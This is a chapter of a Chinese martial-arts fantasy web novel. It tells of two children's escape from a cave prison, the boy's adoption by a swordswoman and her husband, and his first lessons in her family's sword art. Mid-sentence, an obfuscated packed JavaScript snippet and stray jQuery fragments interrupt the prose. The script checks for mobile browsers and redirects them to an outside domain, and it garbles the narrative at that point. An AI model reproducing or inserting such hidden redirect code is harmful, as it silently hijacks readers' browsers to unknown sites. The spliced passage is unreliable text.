四十五、逃生
拴柱吃完第四碗糊糊之后,担忧地看了看黎芊芊。
“你真的不吃吗?你会饿死的。”
黎芊芊面如土色,嘴唇已没了血色,干巴巴地道:“死就死了。”
他不知如何作答,也不知该以什么态度应对,面前这个小姑娘,叫他想起了自己之前养的一只猫。
明明已经自顾不暇,赚来的铜板只能勉强果腹,还要照顾那只猫。
他一开始还信心满满,越到后来,就越想放弃,到最后,他不再管它,它死在了泥巴房里。
那么,她会不会也像那只猫,和他死在同一间牢房里?
第三天,他只吃了一碗,把另一碗无声地留给了黎芊芊。
隔壁的狼妖依旧挨了一顿毒打,风平浪静后,她忽然靠近了他们。
“哎,喂,小姑娘,想不想吃茶点?”
黎芊芊缓缓回头,只见她扔过来一个小纸包,滚到黎芊芊手边。
她带着淤青的脸颊奋力提起,露出一个古怪的笑。
“先活着,有什么想死的想法先压一压,可别死在他们手上,脏死了。”她挑了挑眉,扯到了额角的伤口,抽着冷气缩回了身子。
黎芊芊拿起纸包,里面包着两块绿豆酥,但一半都碎了。
她分给拴柱还算完整的一块,自己默默嚼起了那些碎渣子。
她很久没喝水,干饼皮在嘴里咽不下去,于是爬到那个装着糊糊的碗边,吞了一口,想要咽下去,撑在地上的手紧紧扣着地面,青筋突起。
吞吞吐吐几个来回,还是尽数呕了出来。
拴柱在一旁看着她,也不知如何是好。
*
大约过了几个时辰,外面忽然传来一阵喧闹。几个狱监匆匆走来,停在了他们门前,不过并没有向着他们,而是对着对面牢房里另外的两位女孩子。
不知几时,两个女孩只剩下了一个,那个女孩怀中却多了一只火红的狐狸。
火红的身子,尾尖有一点雪色。
看来之前那另一个女孩是一只狐妖。
其中一个狱监打开门进去,粗暴地将两个小个子提了出来,她身上的衣服都扯破了,几乎直接从身上扒下来。可她却没有叫喊,倒是那只红狐狸在胡乱地撕咬,但它看上去完全没有力气,不知是否是饿了多时,已经无力挣扎了。
狱监们动作很快,一人一妖几乎没有反抗就被带走了。这也是拴柱第一次见有人被带走。
为什么带走她们,带走她们的下场会是什么?
他不敢问,不敢想,不敢撞门,若是也被毒打一通,或许就会被打死。
*
第四天,狱监来送饭,对面的人还没有回来。
黎芊芊又吃了隔壁狼妖给的东西,她抿了一口糊糊,强忍着没吐出来。
拴柱有时也会奇怪,这狼妖哪里来这么多的茶点?
*
第五天,狱监来送饭,对面的人还没有回来。
狼妖和黎芊芊同分了一小块饼,她已经笑不出来了,脸被狱监打得破了相,整个下颌肿得不成样子。
但她的语气依旧轻松,宽慰着他和黎芊芊,一定能出去。
她又在自己的墙上不知划了什么。
*
第六天,狱监准备打狼妖的时候,拴柱叫住了他。
拴柱被打了,但他扛了下来。
他躺在草垫上,动不了了。
今天狼妖没有新的茶点了。
拴柱好像明白了什么。
*
第七天,狱监来送饭,谁也没有惹他。
拴柱问对面的人去了哪里?
狱监说死了。
*
第八天,也不知是不是第八天,仿佛过了很漫长的一段时间,狱监也没有来送饭。
拴柱从梦中惊醒,隔壁的狼妖不见了。
黎芊芊似乎也是刚醒,二人相顾无言。
在这昏暗的山洞里,不知时间走到了哪里,拴柱只觉得肚子开始饿了。
黎芊芊靠在墙边,一动不动,好几次拴柱总觉得她像死了一样。
脚步声响起,却并非以往送饭的脚步声,而是另一种急促且有力的声音。
烛火将一道凛冽剑光折射进牢中,紧接着竟是一个女人的声音。
“诸位莫慌,花都山这一群小人,皆已死于剑下,稍待我与夫君一同救你们出去!”
她此番话正气凛然,远不似这西南人的细嗓,加之口音也非本地,更像是从皇城以北来的人。
但拴柱没听过其他地方的口音,当时只觉得这道声音一闪而过,若一道电光,刻在了他心上。
是通往生门的、拯救世人的声音。
他扶着黎芊芊起来,忽然看到她身后掉了什么东西,就顺手捡起来了。
好像是几张纸。
过道中,一男一女赶了过来,将一扇扇门依次打开,获释的人们涌出了山洞,有些人还摇手致谢,有些人却连道谢都没有。
他们的门是最后一扇,那男子赶忙进来,同他一起搀着黎芊芊。
拴柱瞄了一眼候在门口的女子,神情肃穆。她一手负剑,剑上凝结着朵朵血花,几人走出了牢门,走出了这个臭气烘天的山洞。
*
这里大部分人都是花都山脚下村子里的人,他们也跟着到了村口,一位遮掩着面目的黑衣人忽地从树顶跳下来,无声无息落在他们身边。
男子上前,行礼道:“多谢乌云大侠相助,这次的计划才会成功。”
拴柱看了一眼那个黑衣人,身形同自己也差不多,只不过比自己壮实一些罢了,居然被这位救命恩人尊称“大侠”。
随后,他就看到了从乌帷帽里垂下来的几束白发。
好吧,原来是个小老头子。
黎芊芊被他带走了,他们分别,转头时,才注意到了一直跟在后面的拴柱。
女子半蹲在他面前,声音极其柔和:“你是哪里的孩子,怎么不回家?是不是离得远,我们可以送你。”
拴柱对上视线,又不好意思地移开,道:“我从开始就没有家。”
那个泥巴房,怎么可能是他的家。
女子面露同情之色,一旁的男子凑过来道:“那你以前住哪里?”
拴柱道:“我……我住在破庙里,大街上,住在不妨碍别人的地方。”
他不由地主地撒了谎,他已经把东西还给了张婶,若是现在回去,就只能住在破庙里,大街上……
女子道:“你的父母……”
拴柱抢道:“恩人,我的父母就是被山牢里那些人害死的。”
女子道:“你还有没有别的……”
“我没有亲人!”他再次抢答,或许是觉得自己表现得太过头了,又道,“我可不可以,跟着你们……?”
他说着说着,逐渐变得小心翼翼,他心中还是害怕他们拒绝他的。
男子和女子对视一眼,又对他道:“你知不知道我们是什么人?”
拴柱道:“是恩人,救命恩人。”
女子道:“你叫什么名字?”
拴柱正欲开口,又闭上了嘴,思索一番,却道:“我没有名字。”
女子道:“没有名字?”
拴柱道:“村里人都怎么高兴怎么叫我。”
女子拍拍他的肩:“你当真要跟着我们?”
拴柱点点头。
女子道:“你可知我们将要去哪儿?”
拴柱摇摇头。
女子最终才说出了那句话,那句拴住了他一辈子的话。
“我收你为义子,你愿不愿意?”
*
离开花都山,她们一路北上。
这两位恩人果真是北边的人,女子叫做陶蕴,男子叫做林无择,是一对夫妻,而拴柱跟在他们身边,也拥有了自己的名字。
陶文秀。
夫妻二人似乎早已约定好,他跟义母的姓,有了如此好看的名字,他就已是日日做着美梦。
过了关隘,天上飘起了雪,林无择对他道,这是寒江雪,永远不会停。
上了北海山,他才明白,这位恩人,这位义母,竟是北疆北海楼的楼主。他不懂江湖上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270350|182272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的势力组织,只觉得能管着一群人的人,一定是个很厉害的人。
这次她们夫妻二人南下,是为了陶蕴的旧疾,四处求医问药,听闻苗疆有一位姓黎的药毒妙手,便前来找寻,不想没有找到人,却被别人找到了。
江湖之间如同影子般神秘出现的一位白发杀手,找到了他们二人,不是来取他们的性命,而是来向他们求助。
这称得上是件奇事,要明白,没有人见过他的面目,见过他的人,都死在他那柄黑刀之下。
他不过刚行于江湖一两年,就已有如此名声,陶蕴和林无择也不敢怠慢。
就在听闻了事件全貌之后,知道这事出于正义,他们也义愤于此,便一拍即合,捣毁了花都山这一处巢穴。
林无择同时也明白了,这位杀手与他同道,便不由得多敬重几分,心里将他当做了兄弟。
他们膝下无子,只有陶文秀一人,在北海楼,还有他的一位舅舅,和一位小妹妹。
这么多家人,是他从来都不敢想的,如今他却得到了。
陶蕴为他安排了一些课程,叫他学习经略文理,还有些空闲,就教他剑法。
他后来才知道,这套剑法叫做“北海剑诀”,是每一代陶家人必须学会的剑法,而陶蕴教给他,其实是在很早的时候,就和林无择敲定好了让他做下一代北海楼楼主。
*
北海剑诀讲究“平稳”和“轻快”,陶文秀凭着多年搬砖经验,将手中的铁剑端得四平八稳,纹丝不动。
“文秀,手再抬高些。”
他在北海楼住了多日,整个人模样大变。换了新的衣服,洗干净脏兮兮的脸,他本来的模样也还算清秀,眉眼线条极其柔和,毫无攻击性。
若是现在放到张婶面前,一定认不出他就是之前的拴柱。
陶蕴走过他身边,握着他的手把剑抬到合适的高度。
“锋刃要稍稍向上,重心再低些。”她轻轻压了压陶文秀的肩膀。
她的声音就在耳边响起,如同她身上淡淡的皂角味道。
陶文秀从未如此近距离接触过一个人,一时间分了心,剑忽然没拿稳,陶蕴帮他端住了。
她道:“累了吗?”
陶文秀道:“没有,义母。”
陶蕴道:“不累就继续端着,什么时候累了和我说。”
她对陶文秀要求不高,教学也是细水长流,一个招式常常几个月才能学完。但陶文秀对自己要求很高,他从未间断过对所有知识的学习,仿佛以后就学不上了似的。
明明不必再害怕流落,那些放在藏书阁里的东西,宽阔的演武场,都可以为他所用,但有些习惯,总是刻在他下意识的举动里。
就像没喝过奶的幼犬,往后抢夺食物时会更加凶残。
“义母。”他忽然道。
陶蕴道:“怎么了?”
陶文秀道:“您总看着我,我心里慌慌张张,反倒拿不稳了。”
陶蕴道:“我若要杀你,你还慌不慌张?”
陶文秀道:“您不会杀我,您若真要杀我,那也是我该,我这条命本来就是您给的。”
陶蕴道:“那么若是有人易容成我的样子杀你,你反击不反击?”
陶文秀沉默了。
陶蕴又道:“剑诀第一式为格挡,你知不知晓其中含义?”
陶文秀道:“以守为攻,以静制动……”
“你不要背书上写的东西。”陶蕴打断了他,语气诚恳,无半点教训之味,“我方才说,若是有人易容成我的样子来杀你,你攻也不得,受也不得,便要挡下他的招数,从这次攻击中,就得能够大致摸清楚对方的真实面目,来历和目的,进而做出你下一步的抉择,反击或是讲合。”
“而若想练成以一记格挡制敌,就需要有特别的专注力,我在你身边就叫你慌慌张张的,我若站在你面前,盯着你的眼睛,你还能保持专注吗?”
言罢,她果真移步到陶文秀面前,少年手里的剑,剑锋直直指向了她的心口。
陶文秀看了一眼,张皇地移开了视线。
“不能……义母。”